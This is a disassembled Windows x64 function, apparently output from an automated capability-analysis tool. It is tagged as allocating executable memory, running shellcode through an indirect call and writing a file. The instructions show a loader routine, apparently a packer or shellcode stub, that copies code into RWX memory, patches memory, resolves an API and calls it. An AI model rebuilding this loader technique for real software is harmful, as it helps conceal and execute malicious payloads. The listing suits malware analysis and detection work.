Function at 0x1406f3514
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Write file on windows

Disassembly:
push rdi
sub rsp, 0x3c0
call fcn.1406f3d58
mov qword [rsp + 0x78], rax
movsxd rax, dword [0x1406fd4fc]
mov qword [rsp + 0x88], rax
movsxd rax, dword [0x1406fd500]
mov qword [rsp + 0x68], rax
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, qword [rsp + 0x68]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x58], rax
cmp dword [0x1406fd4f0], 1
jne 0x1406f35e6
lea rax, [rsp + 0x1b0]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
call fcn.1406f3e14
mov r8d, 0x208
lea rdx, [rsp + 0x1b0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [0x1406ea8b0]
lea rcx, [rsp + 0x1b0]
call fcn.1406eb910
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
lea rcx, [rsp + 0x1b0]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x1406fd490], rax
cmp dword [0x1406fd4f0], 1
jne 0x1406f3658
mov r8d, 0x104
xor edx, edx
lea rcx, [rsp + 0xa0]
call fcn.1406eb8ec
lea rcx, [rsp + 0xa0]
call fcn.1406f3e5c
lea rdx, [0x1406ea8c0]
lea rcx, [rsp + 0xa0]
call fcn.1406eb910
lea rcx, [rsp + 0xa0]
call fcn.1406eb938
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
mov r8d, eax
lea rdx, [rsp + 0xa0]
mov rcx, qword [0x1406fd490]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov r9, qword [rsp + 0x88]
mov r8, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x58]
call fcn.1406f5970
mov qword [rsp + 0x68], rax
mov rcx, qword [rsp + 0x78]
call fcn.1406f3d14
cmp dword [0x1406fd4f0], 1
jne 0x1406f36f5
mov r8d, 0x104
xor edx, edx
lea rcx, [rsp + 0xa0]
call fcn.1406eb8ec
lea rcx, [rsp + 0xa0]
call fcn.1406f3e5c
lea rdx, [0x1406ea8d8]
lea rcx, [rsp + 0xa0]
call fcn.1406eb910
lea rcx, [rsp + 0xa0]
call fcn.1406eb938
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
mov r8d, eax
lea rdx, [rsp + 0xa0]
mov rcx, qword [0x1406fd490]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [rsp + 0x40], 0
jmp 0x1406f3709
mov eax, dword [rsp + 0x40]
inc eax
mov dword [rsp + 0x40], eax
mov eax, dword [0x1406fd504]
cmp dword [rsp + 0x40], eax
je 0x1406f37e2
movsxd rax, dword [rsp + 0x40]
imul rax, rax, 0xc
lea rcx, [0x1406fd508]
movsxd rax, dword [rcx + rax]
lea rcx, [0x1406fd4a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x70], rax
movsxd rax, dword [rsp + 0x40]
imul rax, rax, 0xc
lea rcx, [0x1406fd508]
movsxd rax, dword [rcx + rax + 4]
lea r9, [rsp + 0x48]
mov r8d, 0x40
mov rdx, rax
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
movsxd rax, dword [rsp + 0x40]
imul rax, rax, 0xc
lea rcx, [0x1406fd508]
movsxd rax, dword [rcx + rax + 4]
movsxd rcx, dword [rsp + 0x40]
imul rcx, rcx, 0xc
lea rdx, [0x1406fd508]
movsxd rcx, dword [rdx + rcx + 8]
mov rdx, qword [rsp + 0x58]
add rdx, rcx
mov rcx, rdx
mov r8, rax
mov rdx, rcx
mov rcx, qword [rsp + 0x70]
call fcn.1406eb8a8
movsxd rax, dword [rsp + 0x40]
imul rax, rax, 0xc
lea rcx, [0x1406fd508]
movsxd rax, dword [rcx + rax + 4]
xor r9d, r9d
mov r8d, dword [rsp + 0x48]
mov rdx, rax
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x1406f36ff
movsxd rax, dword [0x1406fd4c0]
lea rcx, [0x1406fd4a0]
add rcx, rax
mov rax, rcx
movsxd rcx, dword [0x1406fd4b0]
lea rdx, [0x1406fd4a0]
add rdx, rcx
mov rcx, rdx
mov r8d, dword [0x1406fd4c4]
mov rdx, rax
call fcn.1406f3b0c
cmp dword [0x1406fd4f0], 1
jne 0x1406f388b
mov r8d, 0x104
xor edx, edx
lea rcx, [rsp + 0xa0]
call fcn.1406eb8ec
lea rcx, [rsp + 0xa0]
call fcn.1406f3e5c
lea rdx, [0x1406ea8f0]
lea rcx, [rsp + 0xa0]
call fcn.1406eb910
lea rcx, [rsp + 0xa0]
call fcn.1406eb938
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
mov r8d, eax
lea rdx, [rsp + 0xa0]
mov rcx, qword [0x1406fd490]
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea rax, [0x1406fd4a0]
sub rax, qword [0x1406fd4a8]
movsxd rcx, dword [0x1406fd4b8]
mov rdx, qword [rsp + 0x58]
add rdx, rcx
mov rcx, rdx
movsxd rdx, dword [0x1406fd4b0]
lea rdi, [0x1406fd4a0]
add rdi, rdx
mov rdx, rdi
mov qword [rsp + 0x90], rdx
mov r9, rax
mov r8d, dword [0x1406fd4bc]
mov rdx, rcx
mov rax, qword [rsp + 0x90]
mov rcx, rax
call fcn.1406f3edc
cmp dword [0x1406fd4f0], 1
jne 0x1406f3956
mov r8d, 0x104
xor edx, edx
lea rcx, [rsp + 0xa0]
call fcn.1406eb8ec
lea rcx, [rsp + 0xa0]
call fcn.1406f3e5c
lea rdx, [0x1406ea900]
lea rcx, [rsp + 0xa0]
call fcn.1406eb910
lea rcx, [rsp + 0xa0]
call fcn.1406eb938
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
mov r8d, eax
lea rdx, [rsp + 0xa0]
mov rcx, qword [0x1406fd490]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
cmp dword [0x1406fd4f0], 1
jne 0x1406f39e8
mov r8d, 0x104
xor edx, edx
lea rcx, [rsp + 0xa0]
call fcn.1406eb8ec
lea rcx, [rsp + 0xa0]
call fcn.1406f3e5c
lea rdx, [0x1406ea918]
lea rcx, [rsp + 0xa0]
call fcn.1406eb910
lea rcx, [rsp + 0xa0]
call fcn.1406eb938
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
mov r8d, eax
lea rdx, [rsp + 0xa0]
mov rcx, qword [0x1406fd490]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [0x1406fd490]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x1406fd4cc], 0
je 0x1406f3aff
cmp dword [0x1406fd4d0], 0
je 0x1406f3aff
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x80], 0
movsxd rax, dword [0x1406fd4c8]
lea rcx, [0x1406fd4a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
lea r9, [rsp + 0x48]
mov r8d, 0x40
mov edx, 8
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rax, qword [rsp + 0x60]
mov ecx, dword [0x1406fd4cc]
mov dword [rax], ecx
mov rax, qword [rsp + 0x60]
mov ecx, dword [0x1406fd4d0]
mov dword [rax + 4], ecx
xor r9d, r9d
mov r8d, dword [rsp + 0x48]
mov edx, 8
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, [0x1406ea930]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
jne 0x1406f3aaa
lea rcx, [0x1406ea930]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x1406f3acc
lea rdx, [0x1406ea940]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x80], rax
movsxd rax, dword [0x1406fd4b0]
lea rcx, [0x1406fd4a0]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.1406ebb18
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x98], rax
call qword [rsp + StrCmpICW]
xor eax, eax
add rsp, 0x3c0
pop rdi
ret